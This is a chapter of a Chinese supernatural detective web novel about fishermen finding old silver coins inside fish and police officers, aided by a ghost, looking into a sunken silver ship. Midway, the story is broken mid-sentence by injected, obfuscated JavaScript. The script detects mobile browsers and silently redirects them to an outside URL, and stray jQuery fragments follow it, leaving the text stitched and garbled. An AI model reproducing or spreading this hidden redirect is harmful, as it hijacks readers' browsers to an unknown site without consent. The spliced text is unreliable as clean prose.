西环近海是整片城区最先被海风浸透的地方,连日来,咸涩黏腻的海风无休无止地从外海卷来,拂过街巷、掠过堤岸,黏在人的皮肤、衣物上,挥之不去。天空永远覆着一层厚重的灰蓝色雾霭,不见烈日,不见流云,整片天地像是被一层浑浊的薄纱彻底笼罩,光线昏沉暗淡,从早到晚都透着一股压抑沉闷的死寂。
海浪不知疲倦地反复撞击着绵长的石质防波堤,潮起潮落,轰鸣声响彻昼夜。那声音不似寻常海景的温柔,反倒低沉、厚重、沉闷,像是地底深处传来的闷雷,一下下敲在西环老街所有人的心头,让整座临海小城的气息,都变得格外凝滞。
此前盘踞在锦绣胭脂铺的相思怨灵执念散尽,那场纠缠数日的胭脂诡事彻底落幕,喧嚣褪去,阴氛消散,西环老街难得迎来了数日安稳平和的日子。
街巷里的摊贩照常出摊,老街居民入夜之后敢敞着门窗乘凉,孩童依旧在石板巷里追逐打闹,七号差馆也暂时摆脱了接连不断的诡异报案,难得有几日清闲。所有人都以为,连日的怪事已然终结,往后只会是寻常烟火、岁岁平安。
可谁也没有料到,老街风波刚平,临水的码头地界,一桩更为诡异、更为惊悚的怪事,悄然破土,在近海海域掀起了层层阴潮。
怪事是从四天前开始的。
西环世代靠海为生,数十艘近海小渔船每日朝出晚归,出海捕鱼是当地人赖以生存的根本,百年来从无异常。可接连四天,但凡远赴外海作业、正常归港的渔船,无一例外,全都闹得人心惶惶,整个码头彻底炸开了锅,恐惧如同潮水般在渔民之间飞速蔓延。
最开始只是一艘小渔船,渔民收网之时,捞起了数条体型硕大的深海大鱼,鱼身肥美,品相极佳,本是丰收的好兆头。可当渔民就地剖开鱼腹、清理内脏,准备售卖之时,所有人都僵在了原地。
漆黑腥臭的鱼腹之中,没有寻常的鱼鳔鱼脂,反倒整整齐齐裹着一沓沓叠压规整的老银币。
没人能解释这诡异的景象。
紧接着第二天、第三天、第四天,同样的怪事反复上演。
但凡从外海深处捕捞回来的大型海鱼,剖开腹腔,必定藏着数量不等的民国银币,多则数十枚成沓堆叠,少则三五枚静静蜷缩在鱼腹油脂之中,无一例外,绝无差错。
那些银币年代久远,尽数被深海海水常年浸泡、冲刷、腐蚀,表面氧化发黑,褪去了金属原本的银光光泽,斑驳锈迹爬满币身,触感粗糙冰凉。即便历经数十年深海沉寂,依旧能清晰辨认出币面的纹路轮廓,一面是孙中山侧面肖像,一面是袁世凯头像,是民国年间流通最广、实打实的硬通货。
银币被包裹在温热腥腻的鱼腹油脂里,隔绝了部分海水侵蚀,虽不复崭新,却形制完整,没有碎裂残缺,沉甸甸的金属质感,真实得让人头皮发麻。
短短四天,数百枚民国老银币接连从鱼腹中现世,堆积在码头的石板地上,黑沉沉的一片,映着灰蒙蒙的天色,透着一股说不出的阴森诡异。
终日与海为伴、见惯了风浪的渔民们,彻底慌了。
码头原本喧闹嘈杂的氛围彻底消失,取而代之的是无边的恐慌与死寂。往日归港时渔民们的欢声笑语、吆喝叫卖声尽数不见,所有人围聚在一起,面色惨白,低声窃语,眼神里满是惊惧,没人敢触碰那些从鱼腹中取出的银币,更没人敢再驾船出海。
西环码头资历最老、活了七十余年的老渔民陈伯,自幼听着近海诡闻长大,见过海啸肆虐、见过渔船翻覆、见过海上异象,却从未见过如此匪夷所思的怪事。
他蹲在地上,盯着那一堆发黑的银元,布满老茧、青筋凸起的双手微微颤抖,苍老的眉眼间写满了凝重与惶恐,沙哑的嗓音压得极低,带着世代相传的海民敬畏:“这不是好事,绝对不是!”
围在一旁的年轻渔民纷纷转头看来,眼神里满是慌乱的求证。
“老辈人传了一辈子,西环外海鬼湾沉了古船,底下压着沉海的冤魂。”陈伯抬眼望向远处暗沉的海面,海风吹乱了他花白的发丝,“鱼腹吐银元,不是天赐横财,是沉在海底的水鬼在吐财,是他们在给岸上的人传信、递警示!”
一句水鬼传信,瞬间让在场所有人背脊发凉,寒意从脚底直窜头顶。
渔民世代敬畏海神、惧海阴灵,海上的怪事从来都不是偶然,但凡出现异象,必有冤情、必有灾劫。
短短一日,鱼腹藏币的诡异传闻席卷整个西环,街头巷尾人人皆知,人心惶惶,流言四起。近海渔业彻底陷入停滞,所有渔船尽数停靠码头,缆绳牢牢系紧,没有一个渔民敢踏船出海,生怕撞上海底阴灵,落得葬身深海的下场。
事态愈发严重,再拖延下去,不仅渔民生计断绝,若是阴邪异象持续发酵,恐怕会引出更大的海难祸事。
负责西环码头片区治安与巡查的警员不敢耽搁,天刚蒙蒙亮,便匆匆赶往七号差馆报备案情,一路快步疾走,面色紧绷,说话的语气里都带着难以掩饰的发毛与慌乱。
差馆的办公室内,晨光透过那些布满岁月痕迹的老旧玻璃窗斜斜洒落,在斑驳的木质地板上投下几道朦胧的光斑,却始终驱不散屋内那仿佛凝结已久的沉闷压抑气息。
周SIR端坐在宽大的办公桌后,面色沉静,指尖正用力按压着隐隐发胀的太阳穴,他刚刚听完下属警员事无巨细的全程汇报,此刻眉头已紧紧拧成了一个川字,深邃的眼眸里满是挥之不去的凝重。他经手过无数大小案件,凶杀盗窃、市井纠纷,样样都曾见识,可像眼下这般诡异离奇、线索缥缈又几乎无从查证的海怪异事,依旧让他感到前所未有的棘手与困惑。
经过短暂的沉吟与思索,他抬起眼,目光锐利地看向恭敬站立在身侧的阿正与马骝,语气沉稳而肃穆,带着不容置疑的权威:“你们二人,即刻动身前往西环码头,仔细核查所有相关情况。必须探查清楚,此番异象,究竟是寻常的鱼群误入了远古沉船的残骸地带,无意间吞食了沉埋海底的银元所致,还是背后另有我们尚未知晓的隐情,甚至涉及阴邪之物在暗中作祟。此事关乎码头安定,务必彻查根源,以稳住惶惶民心。”
“YESSIR!”
阿正与马骝当即挺直腰背,齐声应道,声音洪亮,动作利落干脆,脸上神色是前所未有的端正与专注。
二人领命,转身大步流星地走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658365|206456||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出七号差馆那扇略显沉重的木制大门。就在踏出门槛的瞬间,一股浓烈到刺骨、裹挟着深海气息的咸腥海风猛然扑面而来,瞬间灌满了他们的单薄衣襟,那冰冷而潮湿的触感仿佛有生命的活物,迅速包裹了全身,令人不由自主地浑身肌肉发紧,汗毛倒竖。
方才街巷间穿行的风尚且算得上温和,可这来自遥远外海的风,却带着深海独有的、仿佛亘古不变的阴冷、死寂与一丝若有若无的暴戾之气,扑面而来的刹那,便让人心底莫名地窜起一股强烈的不安。
与此同时,一道半透明的虚影,正慢悠悠地飘荡在阿正的肩头上方。
那身影轻盈如烟,轮廓在光线下显得虚实不定,正是常年伴随在阿正身边、亦师亦友的叉烧叔。
他本是个性情闲散、随处飘荡的阴魂,此刻周身却反常地萦绕着一层淡淡的、仿佛来自幽冥的阴冷雾气,连原本总是慵懒随意的嗓音也压得极低,那声音像是裹挟了海雾的寒凉,字字句句都透着沉重:
“靓仔,打起精神来,千万别被表面的现象给蒙骗了。依我看,这回码头的事,绝不是什么鱼群误入沉船残骸那么简单,水下恐怕藏着更麻烦的东西。”
阿正闻言,脚步几不可察地微微一顿,眸中的光芒随之沉静下来,他侧耳静静聆听,神情专注。
叉烧叔缓缓抬起那虚幻的面容,目光仿佛穿透了眼前建筑的阻隔,遥遥望向那遥远天际线下暗沉翻涌的外海方向,眼底深处透出一种历经漫长岁月沉淀下来的凝重。他缓缓开口,道出了一段尘封在海底已达数十年的深海秘辛:
“西环外海那片如今人人避之不及、渔船绕行的凶险海域,本地老一辈的渔民,私下里都称它为‘鬼湾’。那片海域看似平常,实则水下礁石林立,暗流汹涌诡谲莫测。而就在那最深最暗的礁石丛底下,沉没着一艘民国年间出事的运银大船,船名……叫做‘永顺号’。”
“那正是个兵荒马乱、战火纷飞的动荡年代。永顺号当时满载着一船足额崭新的民国银元,从内地某个港口秘密启航,打算冒险穿越海路,运往南洋周转以图厚利。谁曾想,天有不测风云,船行至西环外海这片水域时,骤然遭遇了一场百年罕见的超级台风。狂风怒吼,巨浪如山,疯狂地拍击着脆弱的船体,大船在自然的伟力前彻底失控,像一片无助的落叶,直直撞向了鬼湾那些如同怪兽利齿般的锋利礁石群。顷刻之间,船体发出令人牙酸的碎裂巨响,迅速倾覆解体,整艘船连带着船上所有的货物与人员,尽数沉入了那深达数十米、阳光难以触及的深海暗礁与淤泥之中。”
“据后来零星的传闻拼凑,船上当时的船员,连同押运人员,共计二十三人……无一幸免,尽数葬身在那冰冷黑暗的海底,至今无一生还,亦无全尸可寻。”
话音落下之际,窗外的海风似乎呼啸得更加凄厉了,那风声穿过街巷,带着一种低沉的、仿佛呜咽般的回响,幽幽传来,恍若是数十年前那些随船沉没的冤魂,跨越了时光的阻隔,在深海之中发出的无声悲泣与控诉。
叉烧叔的嗓音逐渐变得低沉而阴森,仿佛从幽深的海底传来,一字一句缓缓揭开了这场诡异事件背后隐藏的核心真相——